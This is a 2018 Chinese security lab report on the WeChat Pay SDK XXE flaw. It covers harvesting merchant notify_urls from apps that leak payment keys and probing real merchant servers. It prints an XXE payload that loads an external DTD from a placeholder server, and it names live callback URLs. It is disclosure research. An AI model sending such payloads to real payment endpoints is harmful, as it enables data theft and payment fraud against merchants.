Jul, 2018

从移动应用看微信支付SDK XML实体注入漏洞(Chinese)

从移动应用看微信支付SDK XML实体注入漏洞

(技术报告)

1. 前言

微信支付SDK XML实体注入漏洞首发在seclists [1],国内很多安全厂商对该漏洞进行了跟踪、响应。从我们所获取的公开资料中,并未发现有厂商、团队对该漏洞进行实际的案例分析与利用描述。为了解该漏洞的实际情况,我们对该漏洞进行了技术分析。

2. 漏洞测试

从该漏洞的技术细节看,漏洞的利用需要2个先决条件,

1)攻击者必须获取有效的商户服务器的notify_url(异步通知接口)以实施攻击。如漏洞发布者提到的momo和vivo商户服务器:

momo:https://pay.immomo.com/weixin/notify

vivo:https://pay.vivo.com.cn/webpay/wechat/callback.oo

2)商户服务器使用了微信支付存在漏洞的Java SDK或者采用了其他可以加载外部实体的方式,且WAF等未对攻击代码进行过滤,如:

2.1 获取notify_url

通过翻阅最新版的微信支付开发文档 [2],包括刷卡支付、公共号支付、扫码支付、APP支付、H5支付和小程序支付等场景,我们发现,notify_url一般是用在商户服务器和支付平台的交互中,如果开发者遵守官方的开发指引,该信息就不会流经用户,因此获取难度较大。

通过密钥泄漏获取notify_url。为了获取和微信支付相关的有效notify_url,我们转向Janus [3]。在微信支付的开发过程中,经常有不严谨的开发者把商户与支付平台的交互过程实现在应用与支付平台之间,从而导致密钥泄漏,同时这个过程也泄漏了商户服务器的notify_url。虽然有些开发者在新版应用中对该问题进行了修复,并且更换了密钥,但并没有更换notify_url。更有很多应用仍然将有效支付密钥和notify_url写死在应用中。通过Janus平台的查询,我们发现22,443个应用(包含相同应用的不同版本)可能将商户与支付平台的交互过程实现在应用与支付平台中,应用的这种支付实现将泄漏商户的notify_url。

在前期与清华大学网络空间与网络科学研究院网络与信息安全研究室的合作中,我们已经对支付平台的密钥泄漏进行了研究,测试样本为2016年8月前入库的100万个应用。通过分析应用的AST / 动态验证等手段,我们收集到了7,269个应用泄漏了微信支付的密钥,在提取这些有效密钥的同时,我们也存储了对应的notify_url。所以本次测试我们直接使用了这些notify_url。列表如下:

2.2 测试过程

为了进行测试,我们从列表中随机抽取了500个notify_url,并进行以下测试:

A)确认有效URL。考虑到这批数据的获取日期比较老,所以首先对这批notify_url进行过滤。通过向这500个notify_url发送post请求,仅保存返回200的url,并且对返回值进行初步判断,最终提取到80个仍然可访问的notify_url。

B)测试漏洞。在测试过程中,通过POST请求向目标notify_url发送payload。为了减少对商户服务器业务的影响,我们只发送了驱动目标服务器加载一个外部实体的payload。

payload = “<?xml version=\”1.0\” encoding=\”utf-8\”?><!DOCTYPE convert [ <!ENTITY % remote SYSTEM \”http://ourserver:80/file.dtd\”>%remote;]><xml-body></xml-body>”

通过在自建的服务器上记录有无目标服务器的网络请求,我们可以确认目标服务器是否受该漏洞影响。

2.3 测试结果

在对这80个notify_url的测试过程中,我们共收到了4个目标服务器的请求。也就是说有4个商户服务器仍然受此漏洞的影响。我们注意到这些可访问的notify_url中包含很大比例的错误提取结果,因此实际受漏洞影响的商户服务器比例应该比目前测试结果高。针对这4个商户,我们正在尝试与其建立联系,以通报该漏洞。

3. 讨论

A) 本次测试仅仅是为了试验XXE攻击方法,探测目前有多少商户未修复本漏洞。因为我们已经提前获取了商户id和密钥,因此继续获取这些信息不是本次测试的目的。

B) 漏洞发布者关于漏洞的实际影响是需要重新评估的。除非开发者犯了非常多的错误,比如在泄漏notify_url的基础上,被攻击者通过本漏洞获取到商户id、密钥,而其业务系统又未校验商户订单号等关键信息,否则从微信支付的推荐流程看,仅仅使用商户id、密钥是很难直接实现“0元支付”的但是,我们注意到,除获取商户服务器上的商户id和密钥外,如果能进一步获取服务器上的商户订单号,可能可以实现“0元支付”,如果能进一步获取服务器上的双向证书、商户订单号,那我们可以通过退款的方式来间接实现“0元支付”。真实场景下,notify_url的获取没那么容易,这在某种程度上也缓解了漏洞的实际影响。但我们仍然建议商户及时修复本漏洞,比如在本报告所描述的移动应用场景下,如果在应用中泄漏了notify_url,攻击者可以通过这个接口获取商户服务器上的有价值的隐私信息,最终实现“0元支付”。

C) 由于存储的压力,Janus后期使用了按需解析的策略来处理入库的应用,这导致大部分应用无法被查询到,我们推测,实际泄漏异步通知接口的应用会更多。

D) 实际分析应用中,错误的自动化notify_url提取方法会导致测试失败。比如,我们发现有些应用的密钥、notify_url等在应用中进行了复杂的传递,又如有些应用通过读取json文件来获取这些信息,在这些情况下,我们是无法自动提取或者会错误提取notify_url的,这都导致后续的动态测试失败。

E) 我们对momo、vivo移动应用的历史版本进行了分析,并未发现其泄漏异步通知接口,漏洞发现者一定是通过其他途径获取了这些接口。

 

关于我们

盘古实验室是上海犇众信息技术有限公司组建的以盘古团队为核心的安全实验室。实验室在移动互联网领域开展了广泛的安全研究,深入分析了各种移动设备的硬件、系统、应用和网络各层的安全架构,研究发现移动互联网大量潜在安全问题的同时,在高级防御技术及解决方案等方向上形成了一系列成果和产品。

参考:

[1] http://seclists.org/fulldisclosure/2018/Jul/3

[2] https://pay.weixin.qq.com/wiki/doc/api/app/app.php?chapter=8_3

[3] www.appscan.io